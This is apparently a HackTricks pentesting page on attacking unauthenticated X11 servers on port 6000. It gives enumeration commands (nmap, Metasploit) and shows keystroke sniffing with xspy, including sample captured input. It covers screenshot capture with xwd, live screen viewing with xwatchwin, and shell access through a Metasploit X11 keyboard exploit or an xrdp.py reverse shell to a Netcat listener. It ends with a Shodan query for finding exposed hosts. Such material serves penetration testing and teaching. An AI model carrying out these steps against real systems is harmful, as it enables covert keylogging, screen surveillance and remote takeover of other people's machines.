hacktricks/pentesting/6000-pentesting-x11.md

135 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
## Basic Information
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface individual programs handle this.\
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
**Default port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeration
Check for **anonymous connection:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
## Verfy Connection
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
Sample Output:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Screenshots capturing
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Remote Desktop View
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
First we need to find the ID of the window using xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
For **live viewing** we need to use
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Get Shell
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Other way:
**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
**./xrdp.py \<IP:0> no-disp**\
****
![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX15.jpg)
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX16.jpg)
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX17.jpg)
Then add the IP and port and then select R-Shell, which is illustrated below:
![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX18.jpg)
Now as can be seen below we have complete system access:
![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX19.jpg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
## Shodan
* `port:6000 x11`